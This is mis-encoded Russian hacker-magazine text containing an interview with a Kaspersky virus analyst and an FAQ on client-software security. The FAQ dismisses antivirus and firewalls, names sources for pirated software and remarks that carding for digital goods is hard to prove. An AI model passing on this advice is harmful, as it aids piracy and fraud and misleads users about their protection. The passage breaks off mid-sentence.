÷à ñîñòîèò â òîì, ÷òîáû ýòè
îáúåêòû àíàëèçèðîâàòü, ëî-
êàëèçîâàòü âðåäíûé êîä
(åñëè îí åñòü) è ñîîòâåò-
ñòâóþùèì îáðàçîì îáíîâ-
ëÿòü àíòèâèðóñíûå áàçû.
Åñëè îáúåêò � ýòî ôàéëî-
âûé âèðóñ, òî íóæíî ïèñàòü
îòäåëüíûé "ìîäóëü" ëå÷å-
íèÿ. Åñëè îáúåêò çàøèôðî-
âàí èëè ïîëèìîðôåí, òî ïè-
ñàòü äåøèôðîâùèê/ïàð-
ñåð/òðàññåð. Òàêæå ïðèõî-
äèòñÿ çàíèìàòüñÿ âèðóñíû-
ìè îïèñàíèÿìè äëÿ Ýíöèê-
ëîïåäèè (www.viruslist.ru), äå-
ëàòü àíàëèòè÷åñêèå ñòàòüè
äëÿ ñàéòà, âåáëîã
(www.kaspersky.ru/weblog), ñà-
ìîé ïèñàòü íåäîñòàþùèå
óòèëèòû äëÿ âíóòðåííåãî
èñïîëüçîâàíèÿ.

Òÿæåëî èëè íåò - âîïðîñ
ñóáúåêòèâíûé, è îí çàâÿçàí
íà ëè÷íîì èíòåðåñå, òàê ÷òî
îòâåò òóò î÷åâèäåí.

XS: Ñêîëüêî âðåìåíè ïðî-
âîäèøü çà ìîíèòîðîì íà
ðàáîòå è äîìà? 
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SPECial delivery

Ýâðèñòè÷åñêèå äåòåêòîðû, äåøèôðîâùèêè, ðàñïàêîâùèêè è ïðî÷èå èñïîë-
íÿåìûå ìîäóëè, âõîäÿùèå â ñîñòàâ àíòèâèðóñíûõ áàç, ïèøóòñÿ ñïåöèàëüíûì
îáðàçîì, ÷òî ïîçâîëÿåò èì áûòü ñëèíêîâàííûìè è çàïóùåííûìè ïîä ëþáîé
ïëàòôîðìîé (îïåðàöèîííîé ñèñòåìîé) íà äàííîé àðõèòåêòóðå. Òàêèå èñïîëíÿ-
åìûå ìîäóëè íàçûâàþòñÿ "ëèíêàìè". Îäèí è òîò æå ëèíê äîëæåí îäèíàêîâî
óñïåøíî ëèíêîâàòüñÿ, çàïóñêàòüñÿ è ðàáîòàòü êàê ïîä MS Windows, òàê è ïîä
Linux.x86, FreeBSD.x86 è ò.ä. Íàïèñàíèå ëèíêîâ òðåáóåò îò âèðóñíîãî àíàëè-
òèêà äîñêîíàëüíî ïîíèìàòü ôóíêöèîíèðîâàíèå äàííîé àðõèòåêòóðû ÝÂÌ.



A: Êàê ìèíèìóì, 8 ÷àñîâ
íà ðàáîòå ïëþñ 1-6 äîìà.

XS: Êàêèå ñîâðåìåííûå
ñàéòû óäîñòàèâàþòñÿ ÷åñòè
ïîïàñòü â boomarks äåâóø-
êè âèðóñíîãî àíàëèòèêà?

A: Âñÿêîå ðàçíîå, ÷òî çàï-
ëàíèðîâàíî íà "ïîòîì ïî÷è-
òàòü". Îñòàëüíîå ëèáî çàïî-
ìèíàåòñÿ â ãîëîâå, ëèáî íà-
õîäèòñÿ ÷åðåç Google.

Íàèáîëåå ïîëåçíûå ñàéòû
èç ÷èñëà ïðîôèëüíûõ:
www.wasm.ru, www.wotsit.org,
isc.sans.org.

XS: ×åì óâëåêàåøü-
ñÿ/ðàçâëåêàåøüñÿ - èç îá-
ëàñòåé, íå èìåþùèõ íèêà-
êîãî îòíîøåíèÿ ê IT-òåõíî-
ëîãèÿì?

A: Âñå ïî-ïðåæíåìó: èíòå-
ðåñóþò ìåõàíèçìû ÿâëåíèé.
Îñîáåííî â êîíòåêñòå "÷å-
ëîâåê/ñîöèóì/ìèð", òî åñòü
ïñèõîëîãèÿ, áèîëîãèÿ, ðåëè-
ãèÿ, ýçîòåðèêà, ëèíãâèñòèêà,
åñëè îáùèìè ñëîâàìè ïåðå-
÷èñëÿòü. Âîîáùå æå ÷åòêèõ
ðàçãðàíè÷åíèé ïî îáëàñòÿì
è èíòåðåñàì íåò: æèçíü ïîñ-
òîÿííî çàäàåò âîïðîñû è
ñòàâèò çàäà÷è, à ïîèñêè îò-
âåòîâ/ðåøåíèé âûíîñÿò â
êàêóþ-òî êîíêðåòíóþ îá-
ëàñòü, êîòîðàÿ íà âðåìÿ óâ-
ëåêàåò. Â íàñòîÿùèé ìîìåíò
àêòóàëüíû éîãà, àñòðîëîãèÿ

è òåîðèÿ/èñòîðèÿ êðèïòîã-
ðàôèè.

Â ðîëè ðàçâëå÷åíèé - åñëè
ïîä ðàçâëå÷åíèÿìè ïîíè-
ìàòü çàíÿòèÿ, ïðè êîòîðûõ
ãîëîâà áîëåå èëè ìåíåå âû-
êëþ÷åíà - îáû÷íî âûñòóïà-
þò ïðîáåæêè, õóäîæåñòâåí-
íûå êíèæêè è êèíî, îäîáðåí-
íûå êàê ìèíèìóì 23-ìÿ íå-
çàâèñèìûìè àâòîðèòåòíûìè
ëè÷íîñòÿìè. Òóäà æå -
ýêñïëóàòàöèÿ ñòåðøèõñÿ ðî-
ëèêîâ è äðóæåñêîãî ñêóòåðà.
Îòäåëüíî - æèâîå îáùåíèå ñ
ðàçëè÷íûìè ëþáèìûìè ÷å-
ëîâåêàìè. Îáû÷íîå äåëî.

XS: Îòðàæàåòñÿ ëè òâîÿ
ïðîôåññèÿ, íåñêîëüêî ýêçî-
òè÷íàÿ ñ òî÷êè çðåíèÿ ìíî-
ãèõ îêðóæàþùèõ, íà îáùå-
íèè è âîñïðèÿòèè èìè æå?

A: Îòðàæàåòñÿ. Íî òóò èã-
ðàåò ðîëü íå ñòîëüêî ñàìà
ïðîôåññèÿ, ñêîëüêî ôóíäà-
ìåíòàëüíîå ñâîéñòâî ãîëî-
âû ñàìîçàòà÷èâàòüñÿ ïîä
îñíîâíóþ ïðîèçâîäèìóþ
åþ ðàáîòó, âïëîòü äî ðàñ-
ïðîñòðàíåíèÿ òåðìèíîëîãè-
÷åñêîãî/ïîíÿòèéíîãî ïîëÿ
óçêîé "ðàáî÷åé" îáëàñòè íà
øèðîêîå ïðîñòðàíñòâî "ðå-
àëüíîãî ìèðà". Òî åñòü: âîò
îäíîìó ïðîãðàììèñòó (java)
â ïåðèîäû àâðàëîâ ñíèòñÿ,
÷òî îí "äåðåâî", è íåêîòî-
ðûå åãî "ëèñòüÿ" ïðèáèðàåò

ÿâîâûé GarbageCollector, è
îí ãîâîðèò, ÷òî êîãäà âñå
áîëüøå è áîëüøå òâîèõ
óêàçàòåëåé ññûëàþòñÿ íà
NULL - ýòî ùåêîòíî. 

Âîò íà òàêîì óðîâíå. Ïðè-
ìåð êëèíè÷åñêèé, çàòî âû-
ïóêëûé.

XS: Êàêèå ýòàïû ñâîåãî
ïðîôåññèîíàëüíîãî ïóòè
ìîæåøü íàçâàòü äîñòèæå-
íèÿìè? 

A: Íå çíàþ: êîãäà ïóòü ñàìî-
öåíåí êàê ïðîöåññ, ñìûñë ïî-
íÿòèÿ "äîñòèæåíèå" òåðÿåòñÿ.

Íó, ìîæåò áûòü, àíàëèç
ïåðâîãî â ìèðå âèðóñà (file
infector) äëÿ ïîðòàòèâíûõ
óñòðîéñòâ ïîä WinCE
(Virus.WinCE.Duts.a - ïðèì.
ðåä.). Áûëà ñåðåäèíà íî÷è,
ÿ íå çíàëà íè ARM-àññåìá-
ëåðà, íè öåëåâîé îïåðàöè-
îíêè, à ðàçîáðàòüñÿ íóæíî
áûëî êàê ìîæíî áûñòðåå.
Ýòî áûë îòëè÷íûé challenge.
Ïîòîì áûëè àíàëîãè÷íûå
ñèòóàöèè ñ äðóãèìè "ïåðâû-
ìè" ìîáèëüíûìè âèðóñàìè
(ïîä Symbian â òîì ÷èñëå),
íî êîãäà ïóòè õîæåíûå, óæå
íå òàê èíòåðåñíî.

XS: Êàêèì òû âèäèøü áó-
äóùåå ñâîåé ïðîôåññèî-
íàëüíîé îáëàñòè è ëè÷íîå
áóäóùåå? 

A: Ïðîôåññèîíàëüíîé îá-
ëàñòè ïî ìåíüøåé ìåðå íè÷-

òî íå óãðîæàåò, êðîìå ðàñ-
øèðåíèÿ è èíòåãðàöèè ñ
äðóãèìè íàïðàâëåíèÿìè IT-
security. Íå õî÷åòñÿ ñòðîèòü
ïðîãíîçû ñóäüáû îáëàñòè, â
êîòîðîé ÿ ðàáîòàþ: áóäóùåå
è òàê ê íåé ïðèäåò, áåç ìåíÿ
è íàñ. ×òî êàñàåòñÿ ìåíÿ,
åñòü íåêèé ñïèñîê òðîïèíîê,
êîòîðûå õî÷åòñÿ ïðîéòè, è
òðîïèíêè íå ñâÿçàíû ñ àêòó-
àëüíîé ïðîôåññèîíàëüíîé
îáëàñòüþ. Åñòü ïîäîçðåíèå,
÷òî ÿ ñêîðî óéäó èç IT - íàâ-
ñåãäà èëè íà âðåìÿ, ñáàëàí-
ñèðîâàòü ãîëîâó (òî åñòü ïå-
ðåñòàòü âèäåòü ñíû ïðî òî,
êàê òâîè óêàçàòåëè ññûëà-
þòñÿ íà NULL).

XS: È ïîä êîíåö ñêàæè
÷òî-íèáóäü äëÿ òåõ íàøèõ
÷èòàòåëüíèö, êîòîðûõ ñòå-
ðåîòèïû çàñòàâëÿþò ñîìíå-
âàòüñÿ íà ýòàïå âñòóïëåíèÿ
â ïðîôåññèîíàëüíóþ îá-
ëàñòü IT-security.

A: Òóò ïðîñòî: åñëè îá-
ëàñòü äåéñòâèòåëüíî èíòå-
ðåñóåò, åñëè ýòî íå îáðàç
èëè ïðåñòèæ, ïåðåä âñòóï-
ëåíèåì â íåå íè÷òî íå îñòà-
íîâèò, òåì áîëåå òàêîé íîð-
ìàëüíûé ñîöèàëüíûé îáú-
åêò, êàê ñòåðåîòèï.

Äà, ñëîæíîâàòî áûâàåò. Òå,
êîìó íå óäàåòñÿ ýòîò êîíô-
ëèêò â ñåáå ðàçðåøèòü, ìîãóò
óòåøàòüñÿ ñëåäóþùèì îáðà-
çîì: ëþáîé îòäåëüíî âçÿòûé
íîñèòåëü ñòåðåîòèïîâ îá IT-
æåíùèíàõ, åñëè òîëüêî îí íå
ñîâñåì áèîðîáîò, âñåãäà ìî-
æåò ñäåëàòü èñêëþ÷åíèå
ïåðñîíàëüíî äëÿ Âàñ. E

95

S
E

C
U

R
I

T
Y

-
Ô

Î
Ê

Ó
Ñ

ÛÇíàíèÿ âèðóñíîãî àíàëèòèêà äîâîëüíî ñïåöèôè÷íû: îíè äîëæíû áûòü øè-
ðîêèìè è ãëóáîêèìè îäíîâðåìåííî. Øèðîêèìè - íàñòîëüêî, ÷òîáû îõâàòûâàòü
ìàêñèìàëüíîå êîëè÷åñòâî ôîðìàòîâ ôàéëîâ, àðõèòåêòóð è ñïåöèôèê îïåðà-
öèîííûõ ñèñòåì, ÿçûêîâ ïðîãðàììèðîâàíèÿ, ñåòåâûõ ïðîòîêîëîâ. Ãëóáîêèìè -
íàñòîëüêî, ÷òîáû õîðîøî ïðåäñòàâëÿòü ñåáå âíóòðåííþþ íèçêîóðîâíåâóþ
"êóõíþ" êîìïüþòåðà, áåç ÷åãî íå îáîéòèñü, êîãäà íóæíî äåòàëüíî ïðîàíàëè-
çèðîâàòü äèçàññåìáëèðîâàííóþ ïðîãðàììó (îñîáåííî åñëè îíà íàïèñàíà ñ èñ-
ïîëüçîâàíèåì íåñòàíäàðòíûõ/íåäîêóìåíòèðîâàííûõ ïðèåìîâ èëè ñ íàìåðå-
íèåì çàòðóäíèòü åå àíàëèç).

Î÷åíü âåæëèâûé
Virus.WinCE.Duts.a. Êíîïêà
NO, êàê íè ñòðàííî, ôóíê-
öèîíèðóåò

Worm.Win32.Nople, â îòëè÷èå îò ñîáðàòüåâ, î÷åíü ÿðêî
äåìîíñòðèðóåò ñâîå ïðèñóòñòâèå â ñèñòåìå

Virus.Win32.HLLC.Sulpex.a



Êðèñ Êàñïåðñêè àêà ìûùúõ (no e-mail)

Â îïðîñîâ, íà êîòîðûå íåò îòâåòîâ, íå ñóùåñòâóåò! Íî âîïðîñ âîïðîñó ðîçíü. Ìû ñîáðàëè ñàìûå âêóñíûå âîïðîñû ïî
òåìå íîìåðà è îòâåòû íàøåãî ýêñïåðòà - Êðèñà Êàñïåðñêè.

FAQ
ÏÎ ÂÇËÎÌÓ ÊËÈÅÍÒÑÊÈÕ ÏÐÈËÎÆÅÍÈÉ
È ÁÅÇÎÏÀÑÍÎÑÒÈ ÑÅÒÅÂÛÕ ÏÐÎÒÎÊÎËÎÂ
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Ìîæíî ëè âçëîìàòü
èíòåðíåò?

Äîëãîå âðåìÿ íà ýòîò
âîïðîñ îòâå÷àëè áåç-
àïåëëÿöèîííî: íåò, íå-
âîçìîæíî. Èíòåðíåò -
ýòî ñîâîêóïíîñòü îã-
ðîìíîãî êîëè÷åñòâà
ðàçíîðîäíûõ óçëîâ, ðà-
áîòàþùèõ ïîä óïðàâ-
ëåíèåì ðàçëè÷íûõ îïå-
ðàöèîííûõ ñèñòåì.
Êàæäàÿ ñîäåðæèò
"ñâîè" óÿçâèìîñòè, çà-
òûêàåìûå ïî ìåðå âû-
õîäà çàïëàòîê, è ïîýòî-
ìó íàïèñàòü óíèâåð-
ñàëüíûé êðýêåð èíòåð-

íåòà ïðàêòè÷åñêè íåðå-
àëüíî. Ê òîìó æå êðý-
êåð áóäåò î÷åíü íåäîë-
ãîâå÷íûì, òàê êàê îä-
íàæäû íàéäåííûå äû-
ðû áûñòðî óñòàðåâàþò.
Íî ðóáåæ XX-XXI âåêîâ
èçìåíèë ýòî ïîëîæå-
íèå äåë! Àëüòåðíàòèâ-
íûå îïåðàöèîííûå ñèñ-
òåìû íåóêëîííî âûìè-
ðàþò, è èíòåðíåò ñòðå-
ìèòåëüíî âûðîæäàåòñÿ
â ñåòü Windows-ìàøèí,
îáñëóæèâàåìûõ ðàç-
ëè÷íûìè "îðàíãóòàíãà-

ìè", êîòîðûå çàïëàòêè
íå óñòàíàâëèâàþò ãîäà-
ìè. Îíè ðàáîòàþò êàê
íà êëèåíòñêèõ ñòàíöè-
ÿõ, òàê è íà ñåðâåðàõ.
Âçëîì èíòåðíåòà - óæå
íå ñêàçêà, à ðåàëü-
íîñòü :).

Îïàñíî ëè âûõîäèòü â
èíòåðíåò?

Î÷åíü îïàñíî! Êëèåí-
òñêîå ïðîãðàììíîå
îáåñïå÷åíèå äûðÿâî
äî ÷ðåçâû÷àéíîñòè, à â
Ñåòè áðîäÿò çëîáíûå
õàêåðû è âîäÿòñÿ àã-
ðåññèâíî íàñòðîåííûå
÷åðâè, êîòîðûå àòàêó-
þò âñå íà ñâîåì ïóòè. È
õîòÿ áîëüøèíñòâî èç
íèõ íå äåëàåò íè÷åãî
(òîëüêî òðàíæèðèò ñå-

òåâîé òðàôèê è ïåðèî-
äè÷åñêè ðîíÿåò
Windows), íåðåäêè ñëó-
÷àè óíè÷òîæåíèÿ èëè
óòå÷êè äàííûõ. Â îñî-
áåííîñòè ýòî îòíîñèòñÿ
ê èíòåðíåò-ïàðîëÿì,
ýëåêòðîííûì êîøåëü-
êàì, êîíôèäåíöèàëü-
íîé èíôîðìàöèè è ò.ä.
Åùå âîðóþò ICQ-íîìå-
ðà, èäåíòèôèêàòîðû
ñåòåâûõ èãð, ñîäåðæè-
ìîå àäðåñíîé êíèãè
(îíî ïðåäñòàâëÿåò îã-
ðîìíûé èíòåðåñ äëÿ
ñïàìåðîâ) è âîîáùå
âñå ÷òî óãîäíî. Èíîãäà

ðóêàìè çàõâà÷åííîãî
êîìïüþòåðà îñóùåñ-
òâëÿþò óäàëåííóþ àòà-
êó, íàïðèìåð íàïðàâëÿ-
þò øòîðì SYN-ïàêåòîâ
íà ïðàâèòåëüñòâåííûé
ñåðâåð. Âîò è ïîïðîáóé
äîêàçàòü, ÷òî ýòî íå òû
çëîäåé è òåáÿ ïîä-
ñòàâèëè :).

À êàê çàùèòèòüñÿ îò
âñåõ ýòèõ óãðîç?

Ðåãóëÿðíî, íå ðåæå îä-
íîãî ðàçà â íåäåëþ,
ñêà÷èâàòü çàïëàòêè
äëÿ âñåõ óñòàíîâëåí-
íûõ ïðèëîæåíèé (à íå
òîëüêî Windows
Update). Îøèáêè îáíà-
ðóæèâàþòñÿ íå òîëüêî
â ïðîäóêöèè Microsoft:
îíè âñòðå÷àþòñÿ è â
Ëèñå, è â Îñëå, è â ICQ,
è ìíîãèõ äðóãèõ êëèåí-

òàõ. Òàêæå íè â êîåì
ñëó÷àå íåëüçÿ îòêðû-
âàòü âëîæåíèÿ, íå óáå-
äèâøèñü â "÷åñòíîñòè"
èõ ðàñøèðåíèÿ. Ëó÷øå
ïðåäâàðèòåëüíî ñîõðà-
íÿòü âëîæåíèÿ íà äèñê
è îòòóäà äåéñòâîâàòü
óæå FAR'îì - îí íå
ïîäâåäåò. À îáìàíóòü
ñòàíäàðòíûé "Ïðîâîä-
íèê" î÷åíü ëåãêî.

À ÷òî æå íàñ÷åò àíòè-
âèðóñîâ?

Ïðè ðåãóëÿðíîé óñòà-
íîâêå ñâåæèõ çàïëàòîê
âåðîÿòíîñòü ïîäöåïèòü
ñåòåâîé ÷åðâü ïðàêòè-
÷åñêè íóëåâàÿ. Ëåãêî
ìîæíî çàïóñòèòü èíôè-
öèðîâàííûé exe-ôàéë,
ïîýòîìó ñêà÷èâàòü
ôàéëû ñ ïîäîçðèòåëü-
íûõ èñòî÷íèêîâ íåäî-
ïóñòèìî. Òåîðåòè÷åñêè
ïîëó÷åííûé ôàéë ìîæ-
íî ïðîïóñòèòü ÷åðåç
àíòèâèðóñ, íî çäåñü
åñòü îäíî "íî". Êðóï-
íûå êîìïàíèè "ñòåðè-
ëèçóþò" âñå ïðîãðàì-
ìíîå îáåñïå÷åíèå ñà-
ìîñòîÿòåëüíî, ïîýòîìó
çà åãî ÷èñòîòó ìîæíî
íå îïàñàòüñÿ, à ðàçíûå
îòñòîéíèêè ñ êðýêíó-
òûì âàðåçîì âïîëíå
ìîãóò ïîäëîæèòü

"ñâèíüþ", çàðàçèâ
ôàéë ñëåãêà ìîäèôè-
öèðîâàííûì âèðóñîì, è
íèêàêîé AV åãî íå
âîçüìåò! Ê òîìó æå àí-
òèâèðóñû îòíèìàþò äî-
âîëüíî ìíîãî ñèñòåì-
íûõ ðåñóðñîâ, à ïîñòî-
ÿííûå îáíîâëåíèÿ áàç
æðóò òðàôèê, òàê ÷òî
âûãîäà îò èõ èñïîëüçî-
âàíèÿ äîâîëüíî ñîìíè-
òåëüíà.

»
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À ÷òî íàñ÷åò áðàíäìà-
óýðîâ?

Áðàíäìàóýð ñàì ïî ñå-
áå åùå íè îò ÷åãî íå
çàùèùàåò. È íà ÏÊ îí,
â îáùåì, íå ñëèøêîì-
òî íóæåí. Äà, îí ìîæåò
çàêðûòü óÿçâèìûå ïîð-
òû, íî áîëåå ýôôåê-
òèâíîé ìåðîé áóäåò ðå-
ãóëÿðíàÿ óñòàíîâêà
çàïëàòîê. Ïåðñîíàëü-
íûé áðàíäìàóýð - ýòî
óäîáíîå ñðåäñòâî äëÿ
íàáëþäåíèÿ çà ëåãàëü-
íûìè ïðèëîæåíèÿìè:
êàêîå èç íèõ ëîìèòñÿ â
Ñåòü, ÷òî è êóäà îíî
ïûòàåòñÿ ïåðåäàòü. Íî
ñïåöèàëüíûì îáðàçîì
ñïðîåêòèðîâàííàÿ
ïðîãðàììà ìîæåò ïðî-
áèòü áðàíäìàóýð êàê
ñíàðóæè, òàê è èçíóòðè.
Îí äàæå õðþêíóòü íå
óñïååò! Áðàíäìàóýð -
ýòî èíñòðóìåíò äëÿ
ïðîôåññèîíàëîâ, ðàç-
áèðàþùèõñÿ â TCP/IP-

ïðîòîêîëàõ è óìåþùèõ
÷èòàòü "ñûðûå" äâîè÷-
íûå ëîãè. Ñ íàñòðîéêà-
ìè ïî óìîë÷àíèþ ýòî
ïðîñòî êðàñèâàÿ èã-
ðóøêà, êîòîðàÿ îïÿòü-
òàêè æðåò ðåñóðñû,
èíîãäà îáðóøèâàåò
Windows, êîíôëèêòóåò
ñ íåêîòîðûìè ïðèëîæå-
íèÿìè è óìåíüøàåò
òðàôèê. Áðàíäìàóýðû
è àíòèâèðóñû ïðèíîñÿò
ïîëüçîâàòåëþ ÷óâñòâî
ëîæíîãî ñïîêîéñòâèÿ:
æåðòâà ðàññëàáëÿåòñÿ,
çàáûâàåò îá îáíîâëå-
íèÿõ, è âîò òóò-òî õàêåð
íàíîñèò ñâîé óäàð :).

Íàñêîëüêî îïàñíî
áðîäèòü ïî ïîðíî- è

âàðåçíûì ñàéòàì?

Underground-ñàéòû (ê
íèì îòíîñÿòñÿ è ïîðíî,
è âàðåç) äåëÿòñÿ íà
äâå êàòåãîðèè. Ïåðâàÿ -
ýòî ÷åñòíûå ñàéòû, âå-
äóùèå ñâîé ìàëåíüêèé
áèçíåñ, ïîñåùàòü êîòî-
ðûå íåîïàñíî, äàæå åñ-
ëè òàì âûëîæåíî èçâ-
ðàùåííîå ñàäî-ìàçî â
ñòèëå "Êåãà âåðõîì íà

Ïóõå ñ êàêòóñîì ïîä
õâîñòîì". Äðóãèå æå
èñïîëüçóþò ïîðíî/âà-
ðåç êàê ïðèìàíêó, è
ïðè çàõîäå êëèåíòà íà
ñàéò çàáðàñûâàþò íà
åãî êîìïüþòåð çëî-
âðåäíûé êîä. Ýòî äåëî
ïîñòàâëåíî íà øèðî-
êèé ïîòîê, ñþäà âêëà-
äûâàþòñÿ ðåàëüíûå
äåíüãè è ïðèâëåêàþòñÿ
ïðîôåññèîíàëüíûå
ïðîãðàììèñòû, êîòîðûå
îïåðàòèâíî ðàçðàáàòû-
âàþò ñâåæèå "ìîõíà-
òîñòè", ÷àñòî îïåðåæàÿ
âûõîä çàïëàòîê, ïîýòî-
ìó ñâîåâðåìåííûå îá-
íîâëåíèÿ óæå íå ïîìî-
ãóò. ×àùå âñåãî îáúåê-
òîì àòàêè ñëóæèò áðàó-
çåð (êàê ïðàâèëî, IE,
Ëèñ èëè Opera). Òàê ÷òî
ñòàâü ñåáå ÷òî-òî ñîâ-
ñåì íåîáû÷íîå (íàïðè-
ìåð links) è íå ïàðüñÿ.

È ÷òî, links ñïàñåò îò
èíôèöèðîâàííîãî 

âàðåçà?

Êîíå÷íî, íåò! Links
ñïàñàåò òîëüêî îò àòàê
íà ñàì áðàóçåð. Ïîðíî
â íåì ìîæíî ñìîòðåòü
áåçáîÿçíåííî, íî ñ âà-
ðåçîì áóäåò ñïëîøíîé
íàïðÿã. Ëó÷øå êà÷àòü
åãî ñ îôèöèàëüíûõ
ñàéòîâ, à â "äèêîé" Ñå-
òè èñêàòü ñåðèéíûå íî-
ìåðà èëè êëþ÷è ðåãèñò-
ðàöèè. Ãåíåðàòîðû ðå-
ãèñòðàöèîííûõ íîìå-
ðîâ, áóäó÷è èñïîëíÿå-
ìûìè ôàéëàìè, íåñóò â
ñåáå áîëüøóþ îïàñ-
íîñòü, ïîýòîìó ëó÷øå
âñåãî çàïóñêàòü èõ íà
âèðòóàëüíîé ìàøèíå
(VMWare, Virtual PC)
èëè íå çàïóñêàòü âîîá-
ùå. Ê ñîæàëåíèþ, íå
âñå ïðîãðàììíîå îáåñ-
ïå÷åíèå ìîæíî ñêà÷àòü
ñ îôèöèàëüíûõ ñàéòîâ,
ïîýòîìó êà÷àé âçëî-
ìàííûå âåðñèè ñ íåñ-
êîëüêèõ íåçàâèñèìûõ
èñòî÷íèêîâ è ñðàâíè èõ
óòèëèòîé fc èç øòàòíî-
ãî êîìïëåêòà ïîñòàâêè
Windows èëè ëþáîé
äðóãîé. Èíôèöèðîâàí-
íûå âåðñèè ðàñïîçíà-

þòñÿ ñðàçó æå. À äîâå-
ðÿòü àíòèâèðóñàì êàòå-
ãîðè÷åñêè íå ðåêî-
ìåíäóþ.

Ãäå íàéòè âàðåç?

Âîò òðè îñíîâíûõ èñ-
òî÷íèêà: ôàéëîîáìåí-
íûå ñåòè, IRC è ïðèâàò-
íûå ftp-ñåðâåðà. Ñðåäè
ôàéëîîáìåííûõ ñåòåé
ëèäèðóþò Îñåë (eMule),
Shareaza è BitTorrent.
Â Îñëå ìíîãî ñåêðåò-
íîé äîêóìåíòàöèè, ìó-
çûêè è ñîôòà. ×åðåç
BitTorrent â îñíîâíîì
ïåðåäàþò âèäåîôèëü-
ìû. Shareaza ïîêà ÷òî
íàõîäèòñÿ â ñòàäèè
ðîñòà. Íó à ïîðíî åñòü
âåçäå :). ×òîáû ïîëüçî-
âàòüñÿ ôàéëîîáìåííû-
ìè ñåòÿìè, æåëàòåëüíî
èìåòü ïîñòîÿííîå ïîäê-
ëþ÷åíèå, ïîñêîëüêó
ñêîðîñòü ñêà÷êè îñòàâ-
ëÿåò æåëàòü ëó÷øåãî è
ïðèõîäèòñÿ äîëãî ïðîñ-
òàèâàòü â î÷åðåäÿõ.
Èíîãäà ïåðåäà÷à ôàé-
ëà (íåâàæíî êàêîãî
îáúåìà) çàíèìàåò äî
äâóõ-òðåõ ìåñÿöåâ! IRC �
ýòî ðàçíîâèäíîñòü ÷à-
òà, íî, â îòëè÷èå îò
web-÷àòîâ, íà IRC ìîæ-
íî âåøàòü ñïåöèàëü-
íûå ñêðèïòû, îòäàþ-
ùèå ôàéëû ïî çàïðî-
ñó. Ìíîãèå IRC'øíèêè
òàê è ïîñòóïàþò. Íà IRC
âûâåøèâàþò ïðåèìó-
ùåñòâåííî ñâåæèé
ñîôò, ïîýòîìó âîçìîæ-
íîñòè ïîèñêà çäåñü
î÷åíü îãðàíè÷åíû. Íà
òîì æå ñàìîì IRC è
ðàçíûõ web-ôîðóìàõ
(íàïðèìåð ru-
board.com) ÷àñòåíüêî
ïðîáåãàþò ññûëêè íà
ñòèõèéíî ïîäíÿòûå ftp-
ñåðâåðû, êîòîðûå ÷å-
ðåç íåêîòîðîãî âðåìÿ

áåññëåäíî èñ÷åçàþò,
óñïåâàÿ ðàçäàòü êó÷ó
âàðåçà.

Êàêèå êëèåíòñêèå ïðè-
ëîæåíèÿ îòíîñÿòñÿ ê

ãðóïïå ðèñêà?

×åì ñëîæíåå ïðèëîæå-
íèå, òåì âûøå âåðîÿò-
íîñòü ïðèñóòñòâèÿ
îøèáîê â åãî êîäå.
Áðàóçåðû - ýòî î÷åíü
ñëîæíûå ïðèëîæåíèÿ.
Ôàêòè÷åñêè ýòî îïåðà-
öèîííûå ñèñòåìû â ìè-
íèàòþðå, è îøèáîê íå
èçáåæàë íè îäèí èç
íèõ ("êàñòðèðîâàííûå"
áðàóçåðû òèïà links'à
íå â ñ÷åò). Òàêæå î÷åíü
îïàñåí Îñåë, ïîñêîëü-
êó îí "çàñâå÷èâàåò"
òâîé IP è, åñëè íà
êîìïüþòåðå íå óñòà-
íîâëåíû çàïëàòêè, ìî-
æåò áûòü ëåãêî àòàêî-
âàí. ×åðåç ôàéëîîá-
ìåííûå ñåòè ÷åðâè
î÷åíü áûñòðî ðàñïðî-
ñòðàíÿþòñÿ...

ßâëÿåòñÿ ëè èñïîëü-
çîâàíèå ïîääåëüíûõ

êðåäèòîê íàðóøåíèåì 
çàêîíà?

ßâëÿåòñÿ, îäíîçíà÷íî.
Ïðè ïîêóïêå "æåëåçà"
èëè èíûõ ìàòåðèàëü-
íûõ òîâàðîâ òû ñåðüåç-
íî ðèñêóåøü, è ïðåöå-
äåíòû àðåñòîâ òàêèõ
êàðäåðîâ óæå åñòü.
Ñðîê îáû÷íî äàþò óñ-
ëîâíî, îäíàêî ïåðåä
ýòèì áóäåò ñóä ïëþñ
êîíôèñêàöèÿ êîìïüþ-
òåðà, ÷òî íå åñòü õîðî-
øî. Äàæå åñëè åãî îò-
äàäóò îáðàòíî, òî òîëü-
êî â "èçíàñèëîâàííîì"
ñîñòîÿíèè, ïîñëå ÷åãî
îí ñòàíåò êàê íåðîä-
íîé. Ïëþñ ïÿòíî íà
òâîåé ðåïóòàöèè, ïðîá-



ëåìû ñ òðóäîóñòðîé-
ñòâîì è âåñü ïðî÷èé
ìÿñîêîìáèíàò. Ñ íåìà-
òåðèàëüíûìè óñëóãàìè
(ïîðíî, ìåäèà, å-books)
âñå îáñòîèò èíà÷å. Äî-
êàçàòü ôàêò ñîâåðøå-
íèÿ ïîêóïêè ïðàêòè÷åñ-
êè íåâîçìîæíî, ïîñ-
êîëüêó íèêàêèå áóìàæ-
íûå äîêóìåíòû íå ôè-
ãóðèðóþò è âñåãäà ìîæ-
íî ñîñëàòüñÿ, ÷òî ýòî
êòî-òî âëåç â êîìïüþ-
òåð è ÷åãî-òî òàì íàõè-
ìè÷èë. Òîëüêî íå íàäî
âîñïðèíèìàòü ýòî êàê
ïðèçûâ ê äåéñòâèþ!
Ïîñëåäñòâèÿ ìîãóò
áûòü âåñüìà ïå÷àëüíû-
ìè. Íàïðèìåð, íà îäíîì
ïîðíîñàéòå çà êàðäåð-
ñòâî îáåùàëè âûñû-
ëàòü êàñòðàöèîííóþ
êîìàíäó áûñòðîãî ðåà-
ãèðîâàíèÿ.

ßâëÿåòñÿ ëè ñêàíèðî-
âàíèå ïîðòîâ íàðóøå-

íèåì çàêîíà?

Ñ þðèäè÷åñêîé òî÷êè
çðåíèÿ ïîíÿòèÿ "ñêàíè-
ðîâàíèå" ïðîñòî íåò.
Óãîëîâíûé êîäåêñ îïå-
ðèðóåò òàêèìè ïîíÿòèÿ-
ìè, êàê íåñàíêöèîíèðî-
âàííûé äîñòóï ê îõðà-
íÿåìîé èíôîðìàöèè,
íàðóøåíèå ðàáîòîñïî-
ñîáíîñòè âû÷èñëèòåëü-
íîé ìàøèíû, èñêàæå-
íèå è óíè÷òîæåíèå
äàííûõ è ò.ä. Åñëè ñêà-
íèðîâàíèå íå óðîíèëî
ñåðâåð, òî íè÷åãî êðè-
ìèíàëüíîãî ñ òî÷êè
çðåíèÿ ÓÊ íå ïðîèçîø-
ëî. À êàê æå íåñàíêöè-
